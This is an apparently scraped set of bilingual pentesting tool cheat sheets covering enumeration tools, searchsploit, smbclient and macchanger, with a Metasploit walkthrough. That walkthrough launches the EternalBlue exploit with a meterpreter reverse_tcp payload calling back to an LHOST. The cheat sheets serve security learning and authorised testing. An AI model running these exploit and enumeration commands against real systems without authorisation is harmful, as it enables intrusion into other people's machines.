> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### Telnet
URL: https://thehacksparrow.com/telnet/
Last updated: 2026-09-23T10:26:29.000Z
> Telnet is an **unencrypted** remote connection protocol (port 23) — obsolete for real administration, but still shows up on CTF machines and legacy devices. All traffic, including credentials, travels in plaintext.
| **Type** | CLI |
| ---------------- | --- |
| **Default port** | 23 |

## Usage
```bash
telnet
```
> Also useful for manual *banner grabbing* against other plaintext ports (HTTP, SMTP...): connecting with telnet to a specific port often reveals the exact service version in the welcome banner.
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> Telnet es un protocolo de conexión remota **sin cifrar** (puerto 23) — obsoleto para administración real, pero sigue apareciendo en máquinas de CTF y dispositivos legacy. Todo el tráfico, incluidas las credenciales, viaja en texto plano.
| **Tipo** | CLI |
| ---------------------- | --- |
| **Puerto por defecto** | 23 |

## Uso
```bash
telnet
```
> Útil también para *banner grabbing* manual contra otros puertos de texto plano (HTTP, SMTP...): conectar con telnet a un puerto concreto a menudo revela la versión exacta del servicio en la cabecera de bienvenida.
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### Sublist3r
URL: https://thehacksparrow.com/sublist3r/
Last updated: 2026-09-23T10:26:30.000Z
> Sublist3r is a **passive OSINT** tool for enumerating **subdomains** using multiple search engines and external services. Fast, lightweight, and heavily used in the initial recon phase.
| **Type** | CLI (Python) |
| ------------ | ------------ |
| **Platform** | Kali / Linux |

## Basic commands
| Command | What it does |
| ----------------------------------------- | --------------------------------- |
| sublist3r -d domain.com | Enumerate the domain's subdomains |
| sublist3r -d domain.com -o subdomains.txt | Save results to a file |
| sublist3r -d domain.com -t 50 | Speed up with more threads |
## Advanced commands
| Command | What it does |
| ------------------------------------------------------------- | ---------------------------- |
| sublist3r -d domain.com -b -w /usr/share/wordlists/dnsmap.txt | Active subdomain brute force |
| sublist3r -d domain.com -e google,yahoo,bing | Use specific search engines |
| sublist3r -d domain.com -o output.txt -n | Silent mode (results only) |
## Pros and limitations
| Pros | Limitations |
| ---------------------------------- | ------------------------------------------------ |
| Very fast and lightweight | Doesn't find internal subdomains |
| Passive OSINT (no noise generated) | Depends on public info, may return stale entries |
| Many compatible sources | Doesn't detect services or ports |
> **Notes:** combine it with Amass and Subfinder for maximum coverage. After getting subdomains, run Nmap against them; to know which are alive, pair it with httprobe/httpx.
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> Sublist3r es una herramienta de **OSINT pasivo** para enumerar **subdominios** usando múltiples motores de búsqueda y servicios externos. Rápida, ligera y muy usada en la fase inicial de reconocimiento.
| **Tipo** | CLI (Python) |
| -------------- | ------------ |
| **Plataforma** | Kali / Linux |

## Comandos básicos
| Comando | Qué hace |
| ------------------------------------------- | ---------------------------------- |
| sublist3r -d dominio.com | Enumerar subdominios del dominio |
| sublist3r -d dominio.com -o subdominios.txt | Guardar resultados en archivo |
| sublist3r -d dominio.com -t 50 | Aumentar velocidad con más threads |
## Comandos avanzados
| Comando | Qué hace |
| -------------------------------------------------------------- | ------------------------------------ |
| sublist3r -d dominio.com -b -w /usr/share/wordlists/dnsmap.txt | Fuerza bruta de subdominios (activo) |
| sublist3r -d dominio.com -e google,yahoo,bing | Usar motores de búsqueda específicos |
| sublist3r -d dominio.com -o salida.txt -n | Modo silencioso (solo resultados) |
## Ventajas y limitaciones
| Ventajas | Limitaciones |
| ------------------------------ | ---------------------------------------------------------------- |
| Muy rápido y ligero | No encuentra subdominios internos |
| OSINT pasivo (no genera ruido) | Depende de información pública, puede devolver entradas antiguas |
| Muchas fuentes compatibles | No detecta servicios ni puertos |
> **Notas:** combínalo con Amass y Subfinder para máxima cobertura. Tras obtener los subdominios, lánzale Nmap; si quieres saber cuáles están vivos, combina con httprobe/httpx.
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### smbclient
URL: https://thehacksparrow.com/smbclient/
Last updated: 2026-09-23T10:26:30.000Z
> smbclient is an FTP-style **SMB (port 445)** client: it connects to Windows/Samba shared resources, lists shared folders, and uploads/downloads files, all from the terminal.
| **Type** | CLI |
| ------------ | ------------ |
| **Platform** | Kali / Linux |

## Connecting to a share
```bash
smbclient /// -N # anonymous
smbclient /// -U
```
## Listing the server's shares
```bash
smbclient -L // -N
smbclient -L // -U # with a password if needed
```
## Commands inside smbclient (works like FTP)
| Command | What it does |
| ----------------- | ---------------------------------------------- |
| ls | List files |
| get | Download a file |
| put | Upload a file |
| cd | Change directory (remote) |
| lcd | Change local directory |
| ! | Run a command on your local machine, e.g. !pwd |
| exit | Quit |
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> smbclient es un cliente **SMB (puerto 445)** tipo FTP: permite conectarse a recursos compartidos de Windows/Samba, listar carpetas compartidas, y subir/descargar archivos, todo desde la terminal.
| **Tipo** | CLI |
| -------------- | ------------ |
| **Plataforma** | Kali / Linux |

## Conectarse a un recurso
```bash
smbclient /// -N # anonimo
smbclient /// -U
```
## Ver carpetas compartidas del servidor
```bash
smbclient -L // -N
smbclient -L // -U # con contraseña si hace falta
```
## Comandos dentro de smbclient (funciona como FTP)
| Comando | Qué hace |
| ----------------- | ------------------------------------------------- |
| ls | Listar archivos |
| get | Descargar archivo |
| put | Subir archivo |
| cd | Cambiar de carpeta (remoto) |
| lcd | Cambiar de carpeta local |
| ! | Ejecutar un comando en tu máquina local, ej: !pwd |
| exit | Salir |
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### searchsploit
URL: https://thehacksparrow.com/searchsploit/
Last updated: 2026-09-23T10:26:31.000Z
> searchsploit is the command-line interface for **Exploit-DB**: it searches already-published public exploits by service, version, or CVE, without needing an internet connection (the database ships locally on Kali).
| **Type** | CLI |
| ------------ | ------------ |
| **Platform** | Kali / Linux |

## Commands
| Command | What it does |
| ------------------------------- | ----------------------------------------------------- |
| searchsploit vsftpd | Searches for exploits related to vsftpd |
| searchsploit ftp \| grep vsftpd | Filters results with grep |
| searchsploit -m | Mirrors the found exploit into your current directory |
> Typical flow: search for the service/version detected by Nmap, locate the relevant exploit, and use `-m` to copy it locally to review or adapt before running it.
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> searchsploit es la interfaz de línea de comandos de **Exploit-DB**: busca exploits públicos ya publicados por servicio, versión o CVE, sin necesidad de estar conectado a internet (la base de datos viene descargada localmente en Kali).
| **Tipo** | CLI |
| -------------- | ------------ |
| **Plataforma** | Kali / Linux |

## Comandos
| Comando | Qué hace |
| ------------------------------- | ------------------------------------------------------------- |
| searchsploit vsftpd | Busca exploits relacionados con vsftpd |
| searchsploit ftp \| grep vsftpd | Filtra los resultados con grep |
| searchsploit -m | Copia ("mirror") el exploit encontrado a tu directorio actual |
> El flujo típico: buscas el servicio/versión detectado por Nmap, localizas el exploit relevante, y con `-m` lo copias localmente para revisarlo o adaptarlo antes de ejecutarlo.
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### netdiscover
URL: https://thehacksparrow.com/netdiscover/
Last updated: 2026-09-23T10:26:31.000Z
> netdiscover discovers **active hosts on your local network** via ARP requests — very useful when you don't know the target machine's IP within a subnet (typical in labs like Metasploitable or freshly deployed VMs).
| **Type** | CLI |
| ------------ | ------------ |
| **Platform** | Kali / Linux |

## Usage
```bash
sudo netdiscover -r 192.168.1.0/24
```
> `-r` sets the network range to scan (here, the full /24). The result lists every active IP alongside its MAC address and vendor — for example, a Metasploitable machine might show up as `192.168.1.58`.
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> netdiscover descubre **hosts activos en tu red local** mediante peticiones ARP — muy útil cuando no conoces la IP de la máquina objetivo dentro de una subred (típico en laboratorios como Metasploitable o VMs recién desplegadas).
| **Tipo** | CLI |
| -------------- | ------------ |
| **Plataforma** | Kali / Linux |

## Uso
```bash
sudo netdiscover -r 192.168.1.0/24
```
> `-r` indica el rango de red a escanear (aquí, la /24 completa). El resultado lista cada IP activa junto a su dirección MAC y fabricante — por ejemplo, una máquina Metasploitable podría aparecer como `192.168.1.58`.
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### Metasploit
URL: https://thehacksparrow.com/metasploit/
Last updated: 2026-09-23T10:26:32.000Z
> Metasploit Framework is the most widely used **exploitation** platform in pentesting: it centralises thousands of exploits, payloads and auxiliary modules in an interactive console (`msfconsole`), with a consistent workflow to search, configure and launch any of them.
| **Type** | CLI (interactive console) |
| ------------ | ------------------------- |
| **Platform** | Kali / Linux |

## Basic flow
```bash
msfconsole
```
| Step | Command |
| -------------------------- | ------------------------------------------------------------------ |
| 1\. Search for the exploit | search — e.g. search smb |
| 2\. Filter by type/name | search type:exploit name:tomcat |
| 3\. Select the module | use — e.g. use exploit/windows/smb/ms17\_010\_eternalblue |
| 4\. View module info | info |
| 5\. View required options | show options |
| 6\. Set the target | set RHOSTS |
| 7\. View/pick payload | show payloads / set payload |
| 8\. Set LHOST | set LHOST |
| 9\. Run | exploit (exploits) / run (auxiliary) |
## msfconsole commands
| Command | What it does |
| ----------------------------------- | ------------------------------------------------------------------- |
| search | Searches modules (exploits, auxiliary, payloads...) |
| use | Selects a module to configure it |
| info | Detailed info about the loaded module |
| show options | Lists required/optional variables (RHOST, RPORT, PAYLOAD...) |
| show advanced | Advanced options for the module |
| show payloads | Payloads compatible with the loaded module |
| set | Sets a variable (LHOST, LPORT, RHOST...) |
| setg | Sets the variable globally (persists across modules) |
| unset | Removes a configured variable |
| back | Undoes use and returns to the main prompt |
| check | Tests if the target is vulnerable without exploiting (if supported) |
| exploit / run | Runs the module (exploit on exploits, run on auxiliary) |
| exploit -j | Runs in the background as a job |
| jobs | Lists running jobs (jobs -v for detail) |
| kill -j | Kills a job by ID |
| sessions -l | Lists active sessions (meterpreter, shell) |
| sessions -i | Interacts with a specific session |
| background | Sends the current session/module to the background |
| route add | Adds a pivoting route through a session |
| reload\_all | Reloads modules (after adding/updating externally) |
| spool / spool off | Logs the msfconsole session to a file |
| help / ? | General help |
| exit / quit | Exit msfconsole |
## Step-by-step example — Windows Meterpreter (MS17-010)
```text
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.50
set LHOST 10.0.0.5
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1
```
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> Metasploit Framework es la plataforma de **explotación** más usada en pentesting: centraliza miles de exploits, payloads y módulos auxiliares en una consola interactiva (`msfconsole`), con un flujo de trabajo consistente para buscar, configurar y lanzar cualquiera de ellos.
| **Tipo** | CLI (consola interactiva) |
| -------------- | ------------------------- |
| **Plataforma** | Kali / Linux |

## Flujo básico
```bash
msfconsole
```
| Paso | Comando |
| --------------------------- | ----------------------------------------------------------------- |
| 1\. Buscar el exploit | search — ej: search smb |
| 2\. Filtrar por tipo/nombre | search type:exploit name:tomcat |
| 3\. Seleccionar módulo | use — ej: use exploit/windows/smb/ms17\_010\_eternalblue |
| 4\. Ver info del módulo | info |
| 5\. Ver opciones requeridas | show options |
| 6\. Configurar objetivo | set RHOSTS |
| 7\. Ver/elegir payload | show payloads / set payload |
| 8\. Configurar LHOST | set LHOST |
| 9\. Ejecutar | exploit (exploits) / run (auxiliary) |
## Comandos de msfconsole
| Comando | Qué hace |
| ---------------------------------- | -------------------------------------------------------------------------- |
| search | Busca módulos (exploits, auxiliary, payloads...) |
| use | Selecciona un módulo para configurarlo |
| info | Info detallada del módulo cargado |
| show options | Lista variables requeridas/opcionales (RHOST, RPORT, PAYLOAD...) |
| show advanced | Opciones avanzadas del módulo |
| show payloads | Payloads compatibles con el módulo cargado |
| set | Asigna una variable (LHOST, LPORT, RHOST...) |
| setg | Asigna la variable globalmente (persiste al cambiar de módulo) |
| unset | Elimina una variable configurada |
| back | Deshace el use y vuelve al prompt principal |
| check | Prueba si el objetivo es vulnerable sin explotar (si el módulo lo soporta) |
| exploit / run | Ejecuta el módulo (exploit en exploits, run en auxiliary) |
| exploit -j | Lanza en background como job |
| jobs | Lista jobs en ejecución (jobs -v para detalle) |
| kill -j | Mata un job por ID |
| sessions -l | Lista sesiones activas (meterpreter, shell) |
| sessions -i | Interactúa con una sesión concreta |
| background | Manda la sesión/módulo actual a segundo plano |
| route add | Añade una ruta de pivoting a través de una sesión |
| reload\_all | Recarga módulos (tras añadir/actualizar externamente) |
| spool / spool off | Graba la sesión de msfconsole a un log |
| help / ? | Ayuda general |
| exit / quit | Salir de msfconsole |
## Ejemplo paso a paso — Windows Meterpreter (MS17-010)
```text
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.50
set LHOST 10.0.0.5
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1
```
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### macchanger
URL: https://thehacksparrow.com/macchanger/
Last updated: 2026-09-23T10:26:33.000Z
> macchanger changes ("spoofs") the **MAC address** of a network interface — the network card's physical "plate". Used to increase privacy, bypass MAC-based filters, avoid tracking on Wi-Fi networks, and in security testing/pentesting.
| **Type** | CLI |
| ----------- | --------------------------------------------- |
| **Install** | sudo apt install macchanger (bundled in Kali) |

## Full flow
Check the current MAC:
```bash
ip link
# or
ifconfig
```
Before changing it, bring the interface down:
```bash
sudo ip link set wlan0 down
```
Change to a random MAC:
```bash
sudo macchanger -r wlan0
```
```text
Current MAC: 00:11:22:33:44:55
New MAC: aa:bb:cc:dd:ee:ff (random)
```
Change to a specific MAC:
```bash
sudo macchanger -m 11:22:33:44:55:66 wlan0
```
Restore the original factory MAC:
```bash
sudo macchanger -p wlan0
```
Bring the interface back up and verify:
```bash
sudo ip link set wlan0 up
ip link show wlan0
```
## Quick summary
```bash
sudo ip link set wlan0 down
sudo macchanger -r wlan0
sudo ip link set wlan0 up
```
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> macchanger cambia ("spoofea") la **dirección MAC** de una interfaz de red — la "matrícula" física de la tarjeta. Se usa para aumentar privacidad, saltar filtros basados en MAC, evitar rastreo en redes Wi-Fi, y en pruebas de ciberseguridad/pentesting.
| **Tipo** | CLI |
| --------------- | ------------------------------------------- |
| **Instalación** | sudo apt install macchanger (viene en Kali) |

## Flujo completo
Comprobar la MAC actual:
```bash
ip link
# o
ifconfig
```
Antes de cambiarla, hay que bajar la interfaz:
```bash
sudo ip link set wlan0 down
```
Cambiar a una MAC aleatoria:
```bash
sudo macchanger -r wlan0
```
```text
Current MAC: 00:11:22:33:44:55
New MAC: aa:bb:cc:dd:ee:ff (random)
```
Cambiar a una MAC específica:
```bash
sudo macchanger -m 11:22:33:44:55:66 wlan0
```
Volver a la MAC original de fábrica:
```bash
sudo macchanger -p wlan0
```
Reactivar la interfaz y verificar:
```bash
sudo ip link set wlan0 up
ip link show wlan0
```
## Resumen rápido
```bash
sudo ip link set wlan0 down
sudo macchanger -r wlan0
sudo ip link set wlan0 up
```
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### ExifTool
URL: https://thehacksparrow.com/exiftool/
Last updated: 2026-09-23T10:26:33.000Z
> ExifTool reads and displays a file's **metadata**: in images, EXIF data like camera model, date, GPS coordinates; in documents (PDF, DOCX, PPTX), author, the software used to create it, edit dates. It's one of the first tools tried in OSINT and forensics challenges.
| **Type** | CLI |
| ------------ | --------------------------- |
| **Platform** | Kali / Linux (preinstalled) |

## Basic usage
```bash
exiftool full_filename.jpg
```
> You need to run it from the same directory as the file (or give the full path). It works with almost any format: images, PDFs, Office documents, audio and video.
## What it often reveals
- GPS coordinates of a photo (geolocation)
- Camera/device model and editing software
- Author and organisation in office documents (the `Creator` field)
- Real creation/modification dates, different from what the filesystem shows
- Internal usernames leaked through the original save path
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> ExifTool lee y muestra los **metadatos** de un archivo: en imágenes, datos EXIF como cámara, fecha, coordenadas GPS; en documentos (PDF, DOCX, PPTX), autor, software usado para crearlo, fechas de edición. Es una de las primeras herramientas que se prueba en retos de OSINT y forense.
| **Tipo** | CLI |
| -------------- | --------------------------------- |
| **Plataforma** | Kali / Linux (viene preinstalado) |

## Uso básico
```bash
exiftool nombre_de_archivo.jpg
```
> Hay que ejecutarlo en el mismo directorio que el archivo (o indicar la ruta completa). Funciona con casi cualquier formato: imágenes, PDFs, documentos de Office, audio y vídeo.
## Qué suele revelar
- Coordenadas GPS de una foto (geolocalización)
- Modelo de cámara/dispositivo y software de edición
- Autor y organización en documentos ofimáticos (campo `Creator`)
- Fechas de creación/modificación reales, distintas a las mostradas por el sistema de ficheros
- Nombres de usuario internos filtrados en la ruta de guardado original
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### dirsearch
URL: https://thehacksparrow.com/dirsearch/
Last updated: 2026-09-23T10:26:34.000Z
> dirsearch is a **Python** script very popular in CTFs and pentesting for discovering **hidden directories and files**. Highly configurable, great for complex sites (PHP, JSP, ASP...): custom headers, user-agents, cookies, and automatic extension testing.
| **Type** | CLI (Python) |
| ------------ | ------------ |
| **Platform** | Kali / Linux |

## Commands
| Command | What it does |
| --------------------------------------------------------------- | --------------------------- |
| dirsearch -u http://IP-or-site/ | Simple scan |
| dirsearch -u http://IP/ -w /usr/share/wordlists/dirb/common.txt | Use a specific wordlist |
| dirsearch -u http://IP/ -e php,txt,html | Test specific extensions |
| dirsearch -u http://IP/ -w wordlist.txt -i 200,301,403 | Filter by HTTP status codes |
| dirsearch -u http://IP/ -w wordlist.txt -o results.txt | Save results |
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> dirsearch es un script en **Python** muy popular en CTFs y pentesting para descubrir **directorios y archivos ocultos**. Muy configurable, ideal para webs complejas (PHP, JSP, ASP...): permite personalizar cabeceras, user-agents, cookies, y probar extensiones automáticamente.
| **Tipo** | CLI (Python) |
| -------------- | ------------ |
| **Plataforma** | Kali / Linux |

## Comandos
| Comando | Qué hace |
| --------------------------------------------------------------- | ---------------------------- |
| dirsearch -u http://IP-o-web/ | Escaneo simple |
| dirsearch -u http://IP/ -w /usr/share/wordlists/dirb/common.txt | Usar una wordlist específica |
| dirsearch -u http://IP/ -e php,txt,html | Probar extensiones concretas |
| dirsearch -u http://IP/ -w wordlist.txt -i 200,301,403 | Filtrar por códigos HTTP |
| dirsearch -u http://IP/ -w wordlist.txt -o resultados.txt | Guardar resultados |
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### DirBuster
URL: https://thehacksparrow.com/dirbuster/
Last updated: 2026-09-23T10:26:34.000Z
> DirBuster (OWASP) finds **hidden content** on a website: directories, files, and sensitive resources the developer didn't intend to be public. It sends thousands of HTTP requests against wordlist entries, and if the response differs from a "not found", the resource exists.
| **Type** | GUI (Java) |
| ------------ | ------------------------ |
| **Platform** | Kali Linux (OWASP tools) |

## How to use it
```bash
Applications → Web Application Analysis → DirBuster
# or from the terminal:
dirbuster
```
- Enter the target URL (e.g. `http://192.168.1.10/`)
- Choose a mode: **Wordlist** (most common) or **recursive** (explores found subdirectories)
- Recommended wordlist: `/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
- Optional extensions: `php, html, txt, bak, zip`
- Click **Start**
## Reading the results
| Code | Meaning |
| ------- | ---------------------------------------------------- |
| 200 OK | Resource exists and is accessible |
| 301/302 | Redirect |
| 403 | Forbidden — exists but protected (still interesting) |
```text
/admin/ 403 -> hidden panel
/backup/ 200 -> possibly sensitive data
/login.php 200 -> attack point (brute force, SQLi...)
/uploads/ 301
```
## DirBuster vs Gobuster
| Tool | Interface | Speed | Best for |
| --------- | --------- | ----- | ------------------------------- |
| DirBuster | GUI | Slow | Learning / detailed environment |
| Gobuster | CLI | Fast | Real pentesting and CTFs |
> **Gobuster** is used more nowadays for speed, but DirBuster is still useful for learning the fuzzing process visually.
## Tips
- Use large wordlists (rockyou doesn't work here — it's not a path wordlist)
- Try several extensions depending on the detected technology
- Compare response sizes to rule out false positives
- Combine it with Gobuster, Feroxbuster, Nikto, or Burp Suite
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> DirBuster (OWASP) encuentra **contenido oculto** en una web: directorios, archivos y ficheros sensibles que el desarrollador no quería que fueran públicos. Prueba miles de peticiones HTTP contra nombres de un diccionario (wordlist), y si la respuesta difiere de un "no encontrado", el recurso existe.
| **Tipo** | GUI (Java) |
| -------------- | ------------------------ |
| **Plataforma** | Kali Linux (OWASP tools) |

## Cómo usarlo
```bash
Applications → Web Application Analysis → DirBuster
# o desde terminal:
dirbuster
```
- Introduce la URL objetivo (ej. `http://192.168.1.10/`)
- Elige modo: **Wordlist** (el más usado) o **recursivo** (explora subdirectorios encontrados)
- Wordlist recomendada: `/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
- Extensiones opcionales: `php, html, txt, bak, zip`
- Pulsa **Start**
## Interpretar resultados
| Código | Significado |
| ------- | --------------------------------------------------------------- |
| 200 OK | Recurso existe y es accesible |
| 301/302 | Redirección |
| 403 | Prohibido — existe pero está protegido (igualmente interesante) |
```text
/admin/ 403 -> panel oculto
/backup/ 200 -> podria haber datos sensibles
/login.php 200 -> punto de ataque (fuerza bruta, SQLi...)
/uploads/ 301
```
## DirBuster vs Gobuster
| Herramienta | Interfaz | Velocidad | Ideal para |
| ----------- | -------- | --------- | ----------------------------- |
| DirBuster | GUI | Lento | Entorno educativo y detallado |
| Gobuster | CLI | Rápido | Pentesting real y CTFs |
> Hoy en día se usa más **Gobuster** por velocidad, pero DirBuster sigue siendo útil para aprender el proceso de fuzzing visualmente.
## Consejos
- Usa wordlists grandes (rockyou no sirve para esto — no es un diccionario de rutas web)
- Prueba varias extensiones según la tecnología detectada
- Compara tamaños de respuesta para descartar falsos positivos
- Combínalo con Gobuster, Feroxbuster, Nikto o Burp Suite
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### DNSrecon
URL: https://thehacksparrow.com/dnsrecon/
Last updated: 2026-09-23T10:26:35.000Z
> DNSrecon is a terminal-based **DNS enumeration** tool that gathers detailed information about a domain via queries, brute forcing, and zone transfers. Widely used in pentesting and OSINT to discover subdomains and insecure configurations.
| **Type** | CLI |
| ------------ | ------------ |
| **Platform** | Kali / Linux |

## Basic commands
| Command | What it does |
| ---------------------------------------------------------------- | ---------------------------------------------------------- |
| dnsrecon -d domain.com | Standard domain enumeration (A, AAAA, MX, NS, TXT, SOA...) |
| dnsrecon -d domain.com -D /usr/share/wordlists/dnsmap.txt -t brt | Subdomain brute force |
| dnsrecon -d domain.com -t axfr | Zone transfer (jackpot if the DNS is misconfigured) |
| dnsrecon -d domain.com -t srv | SRV record enumeration |
| dnsrecon -d domain.com -t rvl -a | Reverse lookup (PTR) |
## What it detects
- AXFR zone transfers (if the server is misconfigured)
- DNS wildcards
- PTR reverse zones
- SRV records
## Typical result
- Discovered subdomains (www, mail, dev, api...)
- TXT records (sometimes with keys or sensitive info)
- Exposed DNS servers
- Possible AXFR (very critical)
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> DNSrecon es una herramienta de **enumeración DNS** en terminal que permite obtener información detallada sobre un dominio mediante consultas, fuerza bruta y transferencia de zonas. Muy usada en pentesting y OSINT para descubrir subdominios y configuraciones inseguras.
| **Tipo** | CLI |
| -------------- | ------------ |
| **Plataforma** | Kali / Linux |

## Comandos básicos
| Comando | Qué hace |
| ----------------------------------------------------------------- | --------------------------------------------------------------- |
| dnsrecon -d dominio.com | Enumeración estándar del dominio (A, AAAA, MX, NS, TXT, SOA...) |
| dnsrecon -d dominio.com -D /usr/share/wordlists/dnsmap.txt -t brt | Fuerza bruta de subdominios |
| dnsrecon -d dominio.com -t axfr | Transferencia de zona (jackpot si el DNS está mal configurado) |
| dnsrecon -d dominio.com -t srv | Enumeración de registros SRV |
| dnsrecon -d dominio.com -t rvl -a | Reverse lookup (PTR) |
## Qué detecta
- Transferencias de zona AXFR (si el servidor está mal configurado)
- Wildcard DNS
- Zonas reversas PTR
- Registros SRV
## Resultado típico
- Subdominios descubiertos (www, mail, dev, api...)
- Registros TXT (a veces con claves o información sensible)
- Servidores DNS expuestos
- Posible AXFR (muy crítico)
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### DNSenum
URL: https://thehacksparrow.com/dnsenum/
Last updated: 2026-09-23T10:26:35.000Z
> DNSenum is a **DNS enumeration** tool designed to gather as much information as possible about a domain using DNS queries, reverse lookups, brute force, and DNS server detection. Similar to DNSrecon, but more focused on **automating the whole process** in a single run.
It enumerates DNS records (A, MX, NS, TXT, SOA...), detects additional DNS servers, attempts AXFR zone transfers, brute-forces subdomains, enumerates IPv4/PTR hosts across ranges, and builds a map of the DNS infrastructure. Useful for pentesting, technical OSINT, and infrastructure audits.
| **Type** | CLI |
| ------------ | ------------ |
| **Platform** | Kali / Linux |

## Basic commands
| Command | What it does |
| ----------------------------------------------------- | ---------------------------------------------------------------------- |
| dnsenum domain.com | Simple DNS enumeration |
| dnsenum --enum domain.com | Full enumeration (recommended): brute force, transfers, reverse lookup |
| dnsenum domain.com -f /usr/share/wordlists/dnsmap.txt | Subdomain brute force with a wordlist |
| dnsenum --reverse 192.168.1.0/24 | Reverse lookup over a range |
| dnsenum domain.com --axfr | AXFR zone transfer |
| dnsenum domain.com -o result.txt | Save the results |
## What it returns
- Authoritative DNS servers
- Discovered subdomains
- MX, NS, TXT records (sometimes with SPF/DKIM keys)
- Exposed internal hosts
- Reverse PTR
- Possible zone transfers (critical if it works)
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> DNSenum es una herramienta de **enumeración DNS** diseñada para recopilar tanta información como sea posible sobre un dominio usando consultas DNS, reverse lookups, fuerza bruta y detección de servidores. Es similar a DNSrecon, pero más enfocada en **automatizar todo el proceso** en una sola ejecución.
Permite enumerar registros DNS (A, MX, NS, TXT, SOA...), detectar servidores DNS adicionales, realizar transferencias de zona AXFR, enumerar subdominios por fuerza bruta, enumerar hosts IPv4/PTR en rangos, y crear mapas de infraestructura DNS. Muy útil en pentesting, OSINT técnico y auditorías de infraestructura.
| **Tipo** | CLI |
| -------------- | ------------ |
| **Plataforma** | Kali / Linux |

## Comandos básicos
| Comando | Qué hace |
| ------------------------------------------------------ | ------------------------------------------------------------------------------- |
| dnsenum dominio.com | Enumeración DNS sencilla |
| dnsenum --enum dominio.com | Enumeración completa (recomendado): brute-force, transferencias, reverse lookup |
| dnsenum dominio.com -f /usr/share/wordlists/dnsmap.txt | Brute force de subdominios con wordlist |
| dnsenum --reverse 192.168.1.0/24 | Reverse lookup sobre un rango |
| dnsenum dominio.com --axfr | Transferencia de zona AXFR |
| dnsenum dominio.com -o resultado.txt | Guardar los resultados |
## Qué devuelve
- Servidores DNS autorizados
- Subdominios descubiertos
- Registros MX, NS, TXT (a veces con claves SPF/DKIM)
- Hosts internos expuestos
- Reverse PTR
- Posibles transferencias de zona (crítico si funciona)
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### Burp Suite
URL: https://thehacksparrow.com/burpsuite/
Last updated: 2026-09-23T10:26:36.000Z
> Burp Suite is the **single most important tool for web pentesting**. It lets you intercept, modify and analyse traffic between the browser and the server. In web pentesting it's the industry standard.
